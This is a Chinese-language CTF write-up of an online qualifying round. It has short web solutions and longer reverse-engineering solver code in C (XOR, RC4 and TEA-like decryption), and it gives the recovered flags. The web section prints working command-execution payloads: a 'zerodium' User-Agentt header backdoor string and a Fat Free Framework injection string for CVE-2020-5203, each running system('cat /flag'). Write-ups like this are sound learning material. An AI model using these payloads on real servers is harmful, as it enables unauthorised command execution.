今天收到邮件知道进入了线下赛，这篇文章会记录一下这个我参加的第一次线下决赛（awd赛）。
线上赛简易Writeup
WEB
签到
根据hint找到下面几篇文章
https://github.com/php/php-src/commit/c730aa26bd52829a49f2ad284b181b7e82a68d7d
https://www.infoq.cn/article/WLYCrBZxwMzFNbNNMgui
https://news-web.php.net/php.internals/113838
根据文章ua头开头插入字符zerodium后即可执行命令，根据上面github上的源码，要讲ua头变成User-Agentt后才能执行命令
最后payload：User-Agentt: zerodiumsystem('cat /flag')
unsetme
经过查询后得知此题位php的Fat Free Framework框架，进一步查询得到了一个此框架的一个CVE
https://nvd.nist.gov/vuln/detail/CVE-2020-5203
https://github.com/fgsec/Exploits/commit/2873f1a1b0a1726a8f86dcbb7174d417c9345b2d
在上面的第二个链接中得到一个payload：0);echo id;print(''
首先尝试此exp无效，后来又经过慢慢尝试，发现需要变成0[])后才生效，最终payload
?a=0[]);system('cat /flag');print(''Reverse
redemption_code
#include <cstdio>
#include <cstring>
#include "defs.h"
int __fastcall server_check_redemption_code(char* key, char* input)
{
int k; // [sp+18h] [+18h]
int i; // [sp+1Ch] [+1Ch]
int j; // [sp+20h] [+20h]
int v7; // [sp+24h] [+24h]
int x; // [sp+28h] [+28h]
int key_len; // [sp+34h] [+34h]
int inp_len; // [sp+38h] [+38h]
_DWORD s[0xE][256]; // [sp+3Ch] [+3Ch]
key_len = strlen(key);
inp_len = 0xE;
inp_len = inp_len;
memset(s, 0, inp_len * 1024);
s[0][input[0]] = 1;
x = 0;
for (i = 1; i < inp_len; ++i)
{
for (j = 0; j < 256; ++j) s[i][j] = s[x][j];
s[i][input[i]] = i + 1;
x = s[x][input[i]];
}
v7 = 0;
for (k = 0; k < key_len; ++k)
{
v7 = s[v7][key[k]];
if (v7 == 14)
return k - 13;
}
return -1;
}
int main()
{
char s[] = "Ninja Must Die 3 Is A Cruel Game, So Hard For Me";
char s2[] = "I Love Ninja Must Die 3. Beautiful Art And Motive Operation Is Creative.";
char s3[] = "Ninja Must Die";
server_check_redemption_code(s2, s3);
return 0;
}
长度限制为0xE
程序要求匹配到7这个位置，也就是Ninja Must Die字符串即可
CrackMe
这里的验证，爆破即可。
异或即可，前半部分是7字节。
发现这里有很像是RC4的东西，我们直接记录RC4异或的内容即可。复杂的RC4转变为简单的异或运算。
解题代码
#include <cstdio>
#include <cmath>
double calc(double a1, double a2)
{
double v2 = a1;
a1 = pow(a1, a2 - 1.0);
return a1 / exp(v2);
}
void part1()
{
int v95 = 1;
double v19 = (v95 / 0x305B) + 1.0, v17;
int ans1, ans2;
for (int v19 = 1; v19 <= 10000; v19++)
{
v17 = 0.0;
for (double v18 = 0; v18 <= 100.0; v18 += 0.001)
{
v17 += calc(v18, v19) * 0.001;
}
int v20 = v17 + v17 + 3;
if (v20 == 0x13B03)
{
ans1 = v19;
break;
}
}
double v21 = 0.0;
double v22 = (v95 % 0x305B) + 1.0, v16;
for (int v22 = 1; v22 <= 10000; v22++)
{
v16 = 0;
for (double v21 = 0; v21 <= 100.0; v21 += 0.001)
{
v16 += calc(v21, v22) * 0.001;
}
int v23 = v16 + v16 + 3;
if (v23 == 0x5A2)
{
ans2 = v22;
break;
}
}
printf("%d\n", (ans1 - 1) * 0x305B + (ans2 - 1));
}
void part2()
{
char s[] = "99038198076198076198076198076198076";
unsigned char ida_chars[] =
{
0x08, 0x4D, 0x59, 0x06, 0x73, 0x02, 0x40
};
for (int i = 0; i < 7; i++)
{
printf("%c", s[i] ^ ida_chars[i]);
}
}
void part3()
{
unsigned char s[] =
{
0xB2, 0xD6, 0x8E, 0x3F, 0xAA, 0x14, 0x53, 0x54, 0xC6, 0x06
};
unsigned char ida_chars[] =
{
0xE0, 0x95, 0xBA, 0x60, 0xC9, 0x66, 0x2A, 0x24, 0xB2, 0x36
};
for (int i = 0; i < 10; i++)
{
printf("%c", s[i] ^ ida_chars[i]);
}
}
int main()
{
part1();
part2();
part3();
return 0;
}1ti5K3y RC4_crypt0
99038
GoEncrypt
还原加密代码并编写解密代码。发现是一种类似于TEA的算法。
#include <cstdio>
#include "defs.h"
int rev(int x)
{
unsigned int data = 0;
unsigned char a2[4];
for (int i = 0; i < 4; ++i) a2[i] = x >> (24 - 8 * i);
for (int i = 0; i < 4; i++) data ^= a2[4 - i - 1] << (24 - 8 * i);
return data;
}
void encode()
{
int i = 0;
__int64 v13; // r8
unsigned int a1; // r8
unsigned int part2; // eax
unsigned int part1; // rdx
__int64 v16; // rbx
unsigned int sum; // rsi
unsigned int v18; // eax
unsigned __int64 v19; // rdi
unsigned int k[4] = {
0x00010203, 0x04050607, 0x08090A0B, 0x0C0D0E0F
};
int v21; // er10
unsigned __int64 v22; // rsi
unsigned int v23; // er11
unsigned __int64 v24; // rdx
__int64 v25; // r8
unsigned int v27; // [rsp+20h] [rbp-18h]
void* retaddr; // [rsp+38h] [rbp+0h] BYREF
v19 = 4;
sum = 0;
//TEST
part2 = 0xBBBBCCCC;
part1 = 0xAAAAAAAA;
while (i < 32)
{
v13 = part2;
v18 = part2 + ((part2 >> 5) ^ (16 * part2));
v21 = sum;
v22 = sum & 3;
v23 = part1 + (v18 ^ (v21 + k[v22]));
sum += 0x12345678;
v24 = ((unsigned int)sum >> 11) & 3;
part2 += (v23 + ((v23 >> 5) ^ (16 * v23))) ^ (v21 + (k[v24] + 0x12345678));
part1 = v23;
i++;
}
part1 = rev(part1);
part2 = rev(part2);
return;
}
void decode(unsigned int* v)
{
unsigned int k[4] = {
0x00010203, 0x04050607, 0x08090A0B, 0x0C0D0E0F
};
unsigned int v0 = v[0], v1 = v[1], sum = 0;
v0 = rev(v0);
v1 = rev(v1);
for (int i = 0; i < 32; i++) sum += 0x12345678;
for (int i = 0; i < 32; i++)
{
v1 -= (v0 + ((v0 >> 5) ^ (16 * v0))) ^ (sum + k[((unsigned int)sum >> 11) & 3]);
sum -= 0x12345678;
v0 -= (v1 + ((v1 >> 5) ^ (16 * v1))) ^ (sum + k[sum & 3]);
}
v[0] = v0;
v[1] = v1;
}
int main()
{
unsigned int k[4] = {
0x00010203, 0x04050607, 0x08090A0B, 0x0C0D0E0F
};
unsigned int v[2] = {
0xAAAAAAAA, 0xBBBBCCCC
};
unsigned int endata[4] = {
0xF011C30E, 0xF39AC745, 0x10D9F5ED, 0xCB022754
};
unsigned int test[2] = {
0x9dab8361, 0x9b1230b6
};
//encode();
decode(endata);
decode(&endata[2]);
//encrypt(v, k);
return 0;
}flag{3bbcf9ea-2918-4fee-8a2e-201b47dfcb4e}